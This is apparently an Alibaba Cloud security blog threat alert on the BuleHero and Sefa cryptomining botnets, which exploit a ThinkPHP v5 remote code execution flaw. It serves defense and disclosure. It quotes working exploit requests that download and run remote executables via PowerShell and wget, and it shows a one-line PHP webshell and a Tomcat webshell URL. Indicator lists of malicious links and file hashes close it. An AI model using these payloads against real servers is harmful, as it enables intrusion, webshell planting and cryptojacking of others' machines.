Threat Alert: Multiple Cryptocurrency Miner Botnets Start to Exploit the New ThinkPHP Vulnerability

Alibaba Cloud security team has detected new attacks based on the ThinkPHP vulnerability, in which botnets BuleHero and Sefa exploited hosts for various cybercrime purposes.

By SangYi，

In security, a vulnerability constitutes the 'attack surface'- a weakness which can be, at some point, exploited by an attacker. Recently, Alibaba Cloud security team has reported a new, high-risk vulnerability in ThinkPhP framework (https://www.alibabacloud.com/blog/alibaba-cloud-discovers-the-latest-thinkphp-v5-vulnerability_594307).

Today the team reports on new attacks that already use this vulnerability: two botnets, BuleHero and Sefa, took notice of the new 'attack surface', and exploited it to compromise hosts and use them for various cybercrime purposes. We're no longer dealing now with theories or potential exploitations, but with actual attacks. The ThinkPHP vulnerability is too common to ignore, and it is highly recommended to take immediate action to block it.

Yohai Einav

Principal Security Researcher, SIL

Background

On December 10, ThinkPHP team released a patch to fix a remote code execution vulnerability caused by the ThinkPHP framework's insufficient checks on controllers. Attackers can exploit this vulnerability to forge malicious parameters and execute malicious code. Alibaba Cloud security team published a threat alert regarding this vulnerability early on December 11, announcing that it had detected the first attack case of this vulnerability exploit, and reminded users to fix this vulnerability and prevent further attacks as soon as possible.

Recently, Alibaba Cloud security researchers detected that several cryptocurrency miner botnets have begun to exploit this new ThinkPHP vulnerability to propagate themselves. The researchers have successfully captured the traffic of these botnets, and this document provides an analysis of their activities.

Analysis highlights:

Both botnets propagate using worms.

BuleHero, one of the two botnets, propagates through internal networks.
1. Hosts that have the ThinkPHP vulnerability and are exposed to the Internet are at a high risk of being infected by this worm.
2. Once a host is infected it joins a botnet and is used for cryptocurrency mining.
3. Cryptocurrency mining tasks consume the host's CPU resources and significantly slows its routine activities.
Sefa, the second botnet, is an IoT botnet which attempts to seize control of hosts using the ThinkPHP vulnerability.

This new vulnerability in ThinkPHP v5 is very critical and could cause significant damage. Alibaba Cloud's Security researchers predict that more botnet are going to exploit this vulnerability to propagate. We strongly suggest users be on the alert and use the solutions described at the end of this article to prevent attacks.

Detailed Analysis of Bule Hero

Bulehero, named after the domain name bulehero.in, is a botnet which exploits multiple security vulnerabilities and controls Windows servers to mine cryptocurrency.

Alibaba Cloud security team found that Bulehero had begun to use ThinkPHP remote commands to launch vulnerability attacks and propagate since December 19.

Vulnerability Exploitation

The ThinkPHP vulnerability is exploited to download and run a malicious binary file. This file initiates further downloads and releases multiple executable files, including cryptocurrency miner, which is used to mine Monero coins. Additional vulnerability exploitation modules are used to further propagate the botnet's worm.

Vulnerability exploitation method #1:

This method directly runs PowerShell code to launch attacks against payload:

 s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=cmd.exe /c powershell (new-object System.Net.WebClient). DownloadFile('http://a46.bulehero.in/download.exe','C:/15.exe');start C:/15.exe

Vulnerability exploitation method #2:

This method exploits the vulnerability to upload a webshell named hydra.php, which can run backdoor commands and then execute PowerShell code to launch attacks against payload1:

 s=/index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=echo ^<? php $action = $_GET['xcmd'];system($action);? ^>>hydra.php

Launch attacks against payload2:

 /hydra.php? xcmd=cmd.exe /c powershell (new-object System.Net.WebClient). DownloadFile('http://a46.bulehero.in/download.exe','C:/10.exe');start C:/10.exe

Threat to Internal Networks

BuleHero exploits many vulnerabilities to spread itself in internal networks, posing critical security threats to enterprises' internal networks. BuleHero obtains a local IP address, visits http://2018.ip138.com/ic.asp to obtain the public IP address and generates the IP segment of a scanned IP under C:WindowsInfusedAppePriessip.txt.

The IP segment contains segment B of the local network, segment B of the corresponding public network and the randomly generated public network address. BuleHero first uses the EternalBlue exploit (https://en.wikipedia.org/wiki/EternalBlue ) and "ipc$" to launch brute-force attacks against port 445 and port 139 before exploiting the Web framework vulnerabilities to implement intrusion.

Figure 1: Generate scanned addresses

Figure 2: Scan the internal network addresses

Figure 3: Exploit the ThinkPHP v5 vulnerability

BuleHero Cyberattack Trend

Alibaba Cloud's security team found that BuleHero began to use a new attack method to exploit this vulnerability in ThinkPHP v5 on December 19. Since that day, BuleHero network attacks have increased significantly, which indicates that the propagation pace is very fast:

Additional vulnerability exploitation methods used by BuleHero include:

Tomcat PUT arbitrary file upload vulnerability (CVE-2017-12615)
Exploits this vulnerability to upload a webshell named FxCodeShell.jsp, which can download and execute files:
```
/FxCodeShell.jsp? wiew=FxxkMyLie1836710Aa&os=1&address=http://a46.bulehero.in/download.exe&wiew=FxxkMyLie1836710Aa&os=1&address=http://a46.bulehero.in/download.exe
```
Struts2 remote code execution vulnerability (CVE-2017-5638)
WebLogic WLS component remote code execution vulnerability (CVE-2017-10271)
EternalBlue vulnerability (MS-17-010)
ipc$ brute-force attack (use weak passwords for launching brute-force attacks first and then Mimikatz for elevating permissions)

Detailed Analysis of Sefa

On December 25, Alibaba Cloud detected that the Sefa botnet, a variant of the notorious Mirai IoT botnet, started to exploit the vulnerability in ThinkPHP v5 to widely propagate. Like BuleHero, Sefa focuses on setting up IoT networks to mine Monero coins. The captured Sefa sample began to exploit the vulnerability in ThinkPHP v5 to control Linux servers beyond IoT devices to mine cryptocurrency.

Vulnerability Exploitation

The ThinkPHP vulnerability is exploited to download and execute a shell file, which downloads the coin-mining software Mcoin, and the attack module sefa.x86 which scans randomly generated IP addresses that will be used to spread worms.

Attack and exploit payload:

s=/index/\think\app/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]=cd /tmp;wget http://205.185.113.123/ex.sh;chmod 777 ex.sh;sh ex.sh

Shell file:

Attack module de-compilation (XOR key: 0x04)

Launch attacks against payload:

Security Recommendations

Alibaba Cloud security team advises all users who use ThinkPHP v5 to upgrade the framework to the latest version, as soon as possible (v5.0.23 and v5.1.31 are secure).
Users who cannot immediately upgrade ThinkPHP v5 to the latest version are advised to use Alibaba Cloud's Web Application Firewall (WAF) to protect against attacks and ensure normal business operations.
Users who have purchased Cloud Firewall provided by Alibaba Cloud can enable the Cloud IPS function interception mode and the virtual patch feature. Cloud Firewall supports automatic protection and blocking of the preceding attack methods.
In addition, Managed Security Services (MSS) can be used you to strengthen and optimize network security with the help of Alibaba Cloud security experts and prevent systems from the aforementioned attacks.

IoCs

Malicious Links

hxxp://a46[.]bulehero[.]in/download.exe

    hxxp://a46[.]bulehero[.]in/mscteui.exe
    hxxp://a88[.]bulehero[.]in:57890/Cfg.ini
hxxp://205[.] 185[.] 113[.]123/ex.sh

hxxp://205[.] 185[.] 113[.]123/mcoin
hxxp://205[.] 185[.] 113[.]123/bins/sefa.x86
hxxp://205[.] 185[.] 113[.]123/bins/sefa.arm7
hxxp://205[.] 185[.] 113[.]123/bins/sefa.arm
hxxp://205[.] 185[.] 113[.]123/bins/sefa.arm5
hxxp://205[.] 185[.] 113[.]123/bins/sefa.arm6
hxxp://205[.] 185[.] 113[.]123/bins/sefa.m68k
hxxp://205[.] 185[.] 113[.]123/bins/sefa.mips
hxxp://205[.] 185[.] 113[.]123/bins/sefa.mpsl
hxxp://205[.] 185[.] 113[.]123/bins/sefa.ppc

Malicious Files

File name	Md5
FxCodeShell.jsp	1111888150d9451d1eccf5aedf5ff0d3
download.exe	676d5e4d5c77f51018ef4f8890c740ae
mscteui.exe	316d4f669c03abe0e361448c18ed90f8
sefa.x86	30548246f6713d4cb07be2e81b4b5886
sefa.arm7	a9b3a9c0b9aa042f993581088a3b6690
sefa.arm	9e6da964bec2eebcf31c9b9b08e81797
sefa.arm6	3b604f41cd5c381aff0ffad84ba222eb
sefa.m68k	d5fca289da58ea593779d5f6441c752e
sefa.mips	84fd49036cc67ad8685392f2bcaecefb
sefa.mpsl	f9ec1e53466db70714c7aa0b050290bf
sefa.ppc	e202421b6610dbbe440355b8bb8d30cc

Community

Threat Alert: Multiple Cryptocurrency Miner Botnets Start to Exploit the New ThinkPHP Vulnerability

Background

Detailed Analysis of Bule Hero

Vulnerability Exploitation

Threat to Internal Networks

BuleHero Cyberattack Trend

Detailed Analysis of Sefa

Vulnerability Exploitation

Security Recommendations

IoCs

Malicious Links

Malicious Files

Read previous post:

Read next post:

Alibaba Cloud Security

You may also like

Comments

Raja_KT March 17, 2019 at 4:35 pm

Alibaba Cloud Security

Related Products

Anti-DDoS

Anti DDoS Basic

Security Solution

WAF(Web Application Firewall)